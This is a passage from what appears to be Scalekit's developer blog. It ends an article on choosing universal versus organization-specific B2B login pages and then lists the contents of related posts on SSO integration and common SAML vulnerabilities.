Generally, if you’re appealing to the end-user experience, universal login pages are most familiar to the widest range of users. If you need to offer the customer IT administrator complete flexibility, or are selling to enterprise customers who expect a completely white-labeled solution, then organization-specific pages are a great fit.

What type of login page did Scalekit pick? When we reach general availability, we’ll use a universal login page, where our application performs HRD using the user’s work email as the identifier.

We opted for the universal login page to ensure our users always have the simplest possible experience logging in. We don’t want situations where users have lost their accounts simply because they forgot which subdomain they’re supposed to navigate to. We know that comes at a higher technical cost to us around HRD, but it’s a sacrifice we’re willing to make for the most seamless end-user experience.

The other decision you must make early on is how you’ll build the authentication integration itself. You can go it alone and build a SAML implementation for ultimate control at the cost of complexity and many developer hours, or you can partner with a platform like Scalekit to get your B2B application enterprise-ready in days, not weeks or months.

Either way, ensure your choice lets you also pick the login page that works best for your customers—once you’ve started developing and deploying infrastructure, you can’t take your choice back.

Forem: Scalekit Inc

Add Enterprise SSO to Your Next.js App in Minutes Using Claude Code & Scalekit

Table of Contents

What You're Building

Understanding the Plugin Architecture

What Are Claude Code Plugins?

How Scalekit's Plugin Works

Prerequisites

Step-by-Step Implementation

Step 1: Install the Scalekit Plugin

Step 2: Navigate to Your Project

Step 3: Give Claude the Objective

Step 4: Approve the Redirect URI

Step 5: Add Your Client Secret

Step 6: Review Generated Files

Step 7: Install Dependencies

Testing with the IDP Simulator

Start Your Dev Server

Use the Test Organization

Test the Flow

Check the Admin Portal

How It Actually Works

The SSO Flow

Organization-Based Routing

The Admin Portal

Security Considerations Built In

Production Considerations

Environment Variables

Update Redirect URIs

Session Management

Error Handling

Monitoring

Alternative: Using Other AI Coding Agents

GitHub Copilot CLI

Cursor

Any Agent via Vercel Skills

Why This Matters

Conclusion

A SAML Security Vulnerability Handbook for Developers

What makes SAML open to vulnerabilities?

The most common SAML security vulnerabilities

XML signature wrapping (XSW)

Lateral movements from non-intended responses

Eavesdropping, theft, and man-in-the-middle attacks

Expired messages

Open redirects

Round-trip attacks in vulnerable XML parsers

Signature exclusion

Replay attacks

XML External Entity (XXE)

Certificate faking

How do you identify SAML security vulnerabilities?

If you’re going to build your own SAML implementation:

If you’re buying a SAML implementation:

Designing B2B Authentication Experiences: Universal vs. Organization-Specific Login

What are the Notion and Slack styles of Authentication?

How are they different?

Contributing technical factors: tenancy and home realm discovery

For your app’s internal engineering team

For your customer’s IT administrator

For your application’s end user

How do you choose between a universal vs. organization-specific login page?